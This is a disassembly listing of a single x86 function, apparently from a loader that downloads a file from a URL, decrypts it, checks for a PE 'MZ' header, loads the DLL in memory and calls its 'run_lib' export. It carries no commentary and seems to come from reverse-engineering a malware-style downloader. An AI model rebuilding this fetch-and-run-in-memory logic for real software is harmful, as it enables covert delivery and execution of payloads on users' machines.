cmp dword [ebp - 0x20dc], esi
lea eax, [ebp - 0x20f0]
mov byte [ebp - 4], 0x1e
cmovae eax, dword [ebp - 0x20f0]
push eax
call fcn.004ce0a5
cmp dword [ebp - 0x20dc], esi
lea ecx, [ebp - 0x20f0]
lea eax, [ebp - 0x20c0]
cmovae ecx, dword [ebp - 0x20f0]
cmp dword [ebp - 0x20ac], esi
push ecx
cmovae eax, dword [ebp - 0x20c0]
push eax
call fcn.004ce807
add esp, 0xc
lea ecx, [ebp - 0x20f0]
cmp dword [ebp - 0x20dc], esi
lea eax, [ebp - 0x2108]
cmovae ecx, dword [ebp - 0x20f0]
cmp dword [ebp - 0x20f4], esi
push ecx
cmovae eax, dword [ebp - 0x2108]
mov ecx, ebx
push eax
push str.DownLoadFile
call fcn.004c67e2
push 0
push 1
lea ecx, [ebp - 0x20c0]
mov byte [ebp - 4], 0x1c
call fcn.00402590
cmp dword [ebp - 0x20dc], esi
lea eax, [ebp - 0x20f0]
cmovae eax, dword [ebp - 0x20f0]
push eax
call edi
test eax, eax
jne 0x4c64c6
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00436420
mov ecx, ebx
call fcn.004c4b48
mov esi, eax
xor edi, edi
mov dword [ebp - 0x22ec], esi
jmp 0x4c6560
cmp dword [ebp - 0x20dc], esi
lea eax, [ebp - 0x20f0]
push 1
cmovae eax, dword [ebp - 0x20f0]
lea ecx, [ebp - 0xd4]
push 0x40
push 0x25
push eax
call fcn.004c3ff7
lea eax, [ebp - 0x20c0]
mov byte [ebp - 4], 0x1f
push eax
lea ecx, [ebp - 0xd4]
call fcn.004c7c92
mov esi, dword [eax + 8]
add esi, dword [eax]
mov dword [ebp - 0x22ec], esi
lea eax, [esi + 0xa]
push eax
call fcn.0046831d
lea ecx, [esi + 1]
mov dword [ebx + 0x58], eax
push ecx
xor edi, edi
push edi
push eax
call fcn.004e37a0
add esp, 0x10
lea ecx, [ebp - 0xd4]
push edi
push edi
push edi
call fcn.004c7903
push edi
push esi
push dword [ebx + 0x58]
lea ecx, [ebp - 0xd4]
call fcn.004c77c0
lea ecx, [ebp - 0xd4]
call fcn.004c70e1
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0x1c
call fcn.004c486b
test esi, esi
jne 0x4c6583
cmp dword [ebp - 0x20c4], 8
lea eax, [ebp - 0x20d8]
cmovae eax, dword [ebp - 0x20d8]
push eax
push str._____LoadMemDll_RunDll______load_dll_error._url_:__s
jmp 0x4c671c
mov esi, 0x6246c4
lea edi, [ebp - 0x1c]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x22dc]
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.004dce86
push 8
xor edi, edi
lea eax, [ebp - 0x21dc]
push edi
push eax
call fcn.004e37a0
mov esi, dword [ebp - 0x22ec]
lea eax, [ebp - 0x22dc]
push esi
push dword [ebx + 0x58]
push dword [ebx + 0x58]
push eax
call fcn.004dcde0
add esp, 0x24
lea eax, [ebp - 0x22f8]
push eax
lea eax, [esi - 0xc]
push eax
mov eax, dword [ebx + 0x58]
add eax, 0xc
push eax
call fcn.00530170
test eax, eax
je 0x4c6702
cmp byte [eax], 0x4d
je 0x4c65f9
cmp byte [eax + 1], 0x5a
jne 0x4c6702
push dword [ebp - 0x22f8]
push eax
call fcn.004dbd9c
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4c66d7
push str.run_lib
push edi
call fcn.004dbcf8
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4c6673
push 0x624740
push edi
call fcn.004dbcf8
cmp dword [ebp - 0x20c4], 8
mov esi, eax
lea eax, [ebp - 0x20d8]
cmovae eax, dword [ebp - 0x20d8]
push eax
push str._____LoadMemDll_RunDll______memory__run_lib__is_NULL_:__s
call fcn.004cc6ad
add esp, 0x10
test esi, esi
jne 0x4c6673
cmp dword [ebp - 0x20c4], 8
lea eax, [ebp - 0x20d8]
cmovae eax, dword [ebp - 0x20d8]
push eax
push str._____LoadMemDll_RunDll______memory__Run__is_NULL_:__s
jmp 0x4c66f1
push 0x104
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.004e37a0
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x22f4]
call fcn.004cd27c
lea eax, [ebp - 0x120]
push eax
call esi
cmp dword [ebp - 0x20c4], 8
lea ecx, [ebp - 0x20d8]
mov esi, eax
cmovae ecx, dword [ebp - 0x20d8]
push ecx
push esi
push str._____LoadMemDll_RunDll______memory_run_code_:__d_url_:__s
call fcn.004cc6ad
add esp, 0x24
test esi, esi
je 0x4c66f8
push edi
call fcn.004dbc7c
xor esi, esi
inc esi
xor edi, edi
jmp 0x4c6724
cmp dword [ebp - 0x20c4], 8
lea eax, [ebp - 0x20d8]
cmovae eax, dword [ebp - 0x20d8]
push eax
push str._____LoadMemDll_RunDll______memory_load_library_is_NULL_:__s
call fcn.004cc6ad
pop ecx
pop ecx
push edi
call fcn.004dbc7c
xor edi, edi
jmp 0x4c6722
cmp dword [ebp - 0x20c4], 8
lea eax, [ebp - 0x20d8]
cmovae eax, dword [ebp - 0x20d8]
push eax
push str._____LoadMemDll_RunDll______dcrypt_error._url_:__s
call fcn.004cc6ad
pop ecx
mov esi, edi
pop ecx
xor ebx, ebx
lea ecx, [ebp - 0x2138]
push edi
inc ebx
push ebx
call fcn.00402590
push edi
push ebx
lea ecx, [ebp - 0x2120]
call fcn.00402590
push edi
push ebx
lea ecx, [ebp - 0x20f0]
call fcn.00402590
push edi
push ebx
lea ecx, [ebp - 0x2108]
call fcn.00402590
push edi
push ebx
lea ecx, [ebp - 0x2150]
call fcn.0046d37e
push edi
push ebx
lea ecx, [ebp - 0x2168]
call fcn.00402590
jmp 0x4c67a0
cmp dword [ebp - 0x20c4], 8
lea eax, [ebp - 0x20d8]
cmovae eax, dword [ebp - 0x20d8]
push eax
push str._____LoadMemDll_RunDll______not_base_web_url_:__s
call fcn.004cc6ad
xor edi, edi
xor ebx, ebx
pop ecx
pop ecx
mov esi, edi
inc ebx
push edi
push ebx
lea ecx, [ebp - 0x20d8]
call fcn.00402590
lea ecx, [ebp - 0x22e8]
call fcn.0046d3d0
push edi
push ebx
lea ecx, [ebp + 8]
call fcn.0046d37e
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004682d0
mov esp, ebp
pop ebp
ret 0x1c